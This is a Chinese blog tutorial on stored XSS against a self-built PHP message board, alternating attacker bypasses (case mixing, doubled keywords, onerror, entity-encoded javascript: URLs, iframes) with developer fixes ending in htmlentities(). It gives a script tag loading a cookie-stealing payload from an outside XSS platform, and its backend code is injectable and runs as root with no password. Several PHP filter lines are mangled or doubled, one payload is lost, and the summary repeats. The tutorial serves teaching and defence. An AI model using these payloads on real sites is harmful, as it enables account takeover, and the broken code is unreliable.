不想做開發的黑客不是好黑客

本文首發於FreeBuf:https://www.freebuf.com/vuls/217092.html

不想做開發的黑客不是好黑客

本文只對存儲型xss進行分析。

那麼,什麼是存儲型xss呢?

它是通過對網頁注入可執行代碼且成功地被瀏覽器 執行,達到攻擊的目的。一般是注入一段javascript腳本。在測試過程中,我們一般是使用

通過這段js代碼,彈個框來證明存在xss漏洞。那麼,可能新手就會問了,彈個框有什麼用呢?

其實,彈框只是爲了證明存在此漏洞。而此漏洞的利用方式由很多種。

比如,你可以使用xss平臺(自行百度)

[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-nwahciSq-1578212782472)(F:\NoteBook\qq37E1335A4DB2C047E98E514CAC81AF89\cbe23e88eeb04b4eb9014186a1c564d0\clipboard.png)]

寫入一段平臺生成的xss腳本

<script src=//xsspt.com/ZsgUBf></script>

當某人進入帶有這個腳本的頁面時,js腳本會獲取他的cookie併發往xss平臺

你只需要登錄xss平臺等待即可,拿到cookie後,可以不需要密碼登錄他的賬號

注意:本文的重點是一步一步以黑客的角度進行xss攻擊,再討論如何站在開發者的角度去一步一步防禦xss攻擊。所以我會在本文中以開發的身份修正後端代碼,再以黑客的身份進行前端頁面的xss攻擊,這一點需要注意哦。

對於存儲型xss漏洞的表現形式,比較經典的是留言板。但是我們都是遵紀守法的好同學,不能對外面的網站進行測試,所以就花半個小時自己手擼一個留言板咯。

首先,應該有前端展示的頁面Message_Board.php和後端存儲數據的頁面addMessage.php

[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-qv5BopBR-1578212782473)(F:\NoteBook\qq37E1335A4DB2C047E98E514CAC81AF89\8270d726ee9e44f0a053b358fdda70fa\j4~366h9be4t.png)]

前端代碼不是本文重點(感興趣的可以去看看我的代碼:https://github.com/BrucessKING/Back-stage-Management)

我們重點關注後端代碼addMessage.php:

<?php 
$nickname = @$_POST['nickname'];//暱稱 
$email = @$_POST['email'];//郵箱 
$content = @$_POST['content'];//留言內容 
$now_time = @$_POST['now_time'];//留言時間 
$con = @mysql_connect("localhost", "root", "");//數據庫地址,賬號,密碼 
if($con){
mysql_query("set names 'utf8'");//解決中文亂碼問題 	mysql_select_db("student_manage"); 	
$sql1 = "select count(*) from message_board";
$result = mysql_query($sql1);
$floor = mysql_fetch_row($result)[0] + 1;
$sql = "insert into message_board values($floor,\"$nickname\",\"$email\",\"$content\",\"$now_time\")"; 	mysql_query($sql); } 
?>

可以看到,我們對傳入的四個參數完全沒有處理,而是直接存入數據庫中

所以,只要我們這樣輸入

[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-RCFGg1Rx-1578212782475)(F:\NoteBook\qq37E1335A4DB2C047E98E514CAC81AF89\0aafc2c0413e4c0b81ef054094aca34e\clipboard.png)]

提交之後,系統會自動刷新頁面

你會出現彈框

[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-YTM7GWCB-1578212782476)(F:\NoteBook\qq37E1335A4DB2C047E98E514CAC81AF89\960d302865a14363a276802cca15c931\clipboard.png)]

點擊確定後,你會發現留言內容和留言者的部分都爲空

[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-2H3tSvGL-1578212782478)(F:\NoteBook\qq37E1335A4DB2C047E98E514CAC81AF89\398c8e549f7b4129ac0ff3aa34f125c6\clipboard.png)]

這是因爲js腳本已經被解析了

這時我們按F12,打開瀏覽器的開發者工具

發現了js腳本

[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-BY479Z7Z-1578212782479)(F:\NoteBook\qq37E1335A4DB2C047E98E514CAC81AF89\65a24d9d9576486a8a1e198e180b3427\clipboard.png)]

那麼,問題來了。

畢竟我們還有另外一個身份,開發者該如何防禦呢?

一、來個最簡單的,只修改前端代碼

在input標籤裏面加上maxlength屬性

<input type="text" name="nickname" placeholder="留言者暱稱" maxlength="10">

至於原理嘛,就是因爲js腳本的形式爲<script></script>長度爲17,所以只要我們在前端對長度進行限制,就可以阻止黑客進行xss攻擊了

可是!開發可沒這麼好做!

我們是想做開發的黑客,所以還得自己搞自己

作爲攻擊者,我們同樣可以修改前端代碼,具體的操作是使用瀏覽器的F12(開發者工具)

[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-PLlKHlnF-1578212782481)(F:\NoteBook\qq37E1335A4DB2C047E98E514CAC81AF89\fc2f29f097504a5fbdf709fca0a1ccac\clipboard.png)]

可以看到,我們可以直接進行長度的修改。

另外,還可以用抓包的方法,在包裏面直接寫,也是不受長度限制的。

二、對關鍵字script進行過濾

作爲開發者,你很容易發現,要想進行xss攻擊,必須插入一段js腳本,而js腳本的特徵是很明顯的,腳本中包含script關鍵字,那麼我們只需要進行script過濾即可

回到之前的代碼

爲方便說明,我只取nickname參數,其實傳入的四個參數需要做同樣的處理

nickname=strreplace("script","",@nickname = str_replace("script", "", @_POST[‘nickname’]);//暱稱

上面這個str_replace()函數的意思是把script替換爲空

可以看到,script被替換爲空,彈框失敗

[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-fmfTg4Ss-1578212782482)(F:\NoteBook\qq37E1335A4DB2C047E98E514CAC81AF89\223404c3f7d44fcdb77d61f68041675b\clipboard.png)]

那麼黑客該如何繼續進行攻擊呢?

答案是:大小寫繞過

<sCrIPt>alert(1)</ScripT>

[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-wxkKnYzM-1578212782483)(F:\NoteBook\qq37E1335A4DB2C047E98E514CAC81AF89\42ab49fbd4e64e9489e3b4fa163696d1\clipboard.png)]

因爲js是不區分大小寫的,所以我們的大小寫不影響腳本的執行

成功彈框!

[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-iZ1u7GwN-1578212782484)(F:\NoteBook\qq37E1335A4DB2C047E98E514CAC81AF89\ed1b997e67f24bc0945277656832bf15\clipboard.png)]

三、使用str_ireplace()函數進行不區分大小寫地過濾script關鍵字

作爲一名優秀的開發,發現了問題當然要及時改正,不區分大小寫不就行了嘛

後端代碼修正如下:

nickname=strireplace("script","",@nickname = str_ireplace("script", "", @_POST[‘nickname’]);//暱稱

str_ireplace()函數類似於上面的str_replace(),但是它不區分大小寫。

那麼,大黑闊該如何繞過?

答案是:雙寫script

<Sscriptcript>alert(1)</Sscriptcript>

[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-rr1y4hgu-1578212782485)(F:\NoteBook\qq37E1335A4DB2C047E98E514CAC81AF89\e81f85a5b15b4022a0f8631513ea6ed1\clipboard.png)]

原理就是str_ireplace()函數只找出了中間的script關鍵字,前面的S和後面的cript組合在一起,構成了新的Script關鍵字。

彈框成功!

[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-s4nXhTyc-1578212782486)(F:\NoteBook\qq37E1335A4DB2C047E98E514CAC81AF89\d5d46dbcc4bf4fb78f7ac3583ebf84ac\clipboard.png)]

四、使用preg_replace()函數進行正則表達式過濾script關鍵字,

nickname=pregreplace("/<(.)s(.)c(.)r(.)i(.)p(.)t/i","",@nickname = preg_replace( "/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i", "", @_POST[‘nickname’]);//暱稱

顯然,彈框失敗

[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-CONDhKIH-1578212782487)(F:\NoteBook\qq37E1335A4DB2C047E98E514CAC81AF89\e699d047f139430fb6988df2e73256f7\clipboard.png)]

攻擊者如何再一次繞過?

答案是:用img標籤的oneerror屬性

五、過濾alert關鍵字

看到這裏,不知道你煩了沒有,以開發的角度來講,我都有點煩。大黑闊你不是喜歡彈窗麼?我過濾alert關鍵字看你怎麼彈!

$nickname = preg_replace( "/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i", "", @$_POST['nickname']);//暱稱 $nickname = preg_replace( "(.*)a(.*)l(.*)e(.*)r(.*)t/i", "", $nickname);//暱稱

那麼,攻擊者該怎麼辦呢?

答案是:編碼繞過

a

當點擊頁面上的超鏈接時,會彈框

[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-NWCjSCcZ-1578212782488)(F:\NoteBook\qq37E1335A4DB2C047E98E514CAC81AF89\7adb4135f00f4386bbaa458d367ded0b\clipboard.png)]

彈框成功!

但是爲什麼呢?

這種編碼方式爲字符編碼

**字符編碼:**十進制、十六進制ASCII碼或unicode字符編碼,樣式爲“&#數值;”,例如“j”可以編碼爲“j”或“j”

上述代碼解碼之後如下:

a

你能明顯感覺到限制:由於使用到了a標籤,所以只有點擊時,纔會彈框。

作爲一個大黑闊,我們當然是不滿意的,能不能讓所有進入這個頁面的人都彈框?

當然可以了:用iframe標籤編碼

<iframe src=javascript:alert(1)>

這種寫法,同樣既沒有script關鍵字,又沒有alert關鍵字

[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-SbZVREVL-1578212782489)(F:\NoteBook\qq37E1335A4DB2C047E98E514CAC81AF89\f9665d29e3894c0896cb7c5f84aba8c6\clipboard.png)]

可以看到彈框成功!

[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-e1ryCtx4-1578212782490)(F:\NoteBook\qq37E1335A4DB2C047E98E514CAC81AF89\38c34060c3614dac84b474b1862e0d33\clipboard.png)]

可是你也能看到,由於使用了iframe標籤,留言板的樣式已經變形了。實戰中儘量不要用。

六、過濾特殊字符

優秀的開發,永不認輸!你個小小的黑闊,不就是會插入js代碼麼?我過濾特殊字符,看你代碼咋被解析?

可是我不想手擼代碼來列舉那麼多特殊字符怎麼辦?

php給我們提供了htmlentities()函數

nickname=htmlentities(@nickname = htmlentities(@_POST[‘nickname’]);//暱稱

htmlentities()函數的作用是把字符轉換爲 HTML 實體

顯示結果 描述 實體名稱 實體編號
空格    
< 小於號 < <
> 大於號 > >
& 和號 & &
" 引號 " "
撇號 ' (IE不支持) '
分(cent) ¢ ¢
£ 鎊(pound) £ £
¥ 元(yen) ¥ ¥
歐元(euro)
§ 小節 § §
© 版權(copyright) © ©
® 註冊商標 ® ®
商標
× 乘號 × ×
÷ 除號 ÷ ÷

看到這裏,你可能還是不明白HTML字符實體是什麼。我舉個例子吧,當你想在HTML頁面上顯示一個小於號(<)時,瀏覽器會認爲這是標籤的一部分(因爲所有標籤都由大於號,標籤名和小於號構成),因此,爲了能在頁面上顯示這個小於號(<),我們引入了HTML字符實體的概念,能夠在頁面上顯示類似於小於號(<)這樣的特殊符號,而不會影響到頁面標籤的解析。

可以看到,我們輸入的內容全部顯示在頁面上了

[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-1neHwqTv-1578212782491)(F:\NoteBook\qq37E1335A4DB2C047E98E514CAC81AF89\db3a14b18cc0446998e2d465aed48e92\clipboard.png)]

可是卻沒有彈框

我們鼠標右鍵,查看網頁源代碼

[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-JAXcVHWZ-1578212782491)(F:\NoteBook\qq37E1335A4DB2C047E98E514CAC81AF89\181189b10767403082b73464f08b2b95\clipboard.png)]

實際上,我們輸入的內容已經變成了HTML實體

<iframe src=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;>

無法被解析爲js腳本

黑客在當前場景下已經無法攻擊了(在某些其他場景,即使使用了htmlentities()函數,仍然是可可以攻擊的,但這就不在本文討論範圍之內了)

總結:

開發者不應該只考慮關鍵字的過濾,還應該考慮特殊符號的過濾 。

黑客在面對未知的情況時,要不斷嘗試,這對於知識的儲備量有較高的要求。

對於xss攻擊,站在開發者角度來講,僅僅用一個htmlentities()函數基本可以做到防禦,可是一個優秀的開發者應該明白它的原理。站在黑客的角度來講,面對環境的逐步變化,條件的逐步限制,攻擊思路靈活變化是對整個職業生涯有益的。

黑客在當前場景下已經無法攻擊了(在某些其他場景,即使使用了htmlentities()函數,仍然是可可以攻擊的,但這就不在本文討論範圍之內了)

總結:

開發者不應該只考慮關鍵字的過濾,還應該考慮特殊符號的過濾 。

黑客在面對未知的情況時,要不斷嘗試,這對於知識的儲備量有較高的要求。

對於xss攻擊,站在開發者角度來講,僅僅用一個htmlentities()函數基本可以做到防禦,可是一個優秀的開發者應該明白它的原理。站在黑客的角度來講,面對環境的逐步變化,條件的逐步限制,攻擊思路靈活變化是對整個職業生涯有益的。

最後,java天下第一。

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章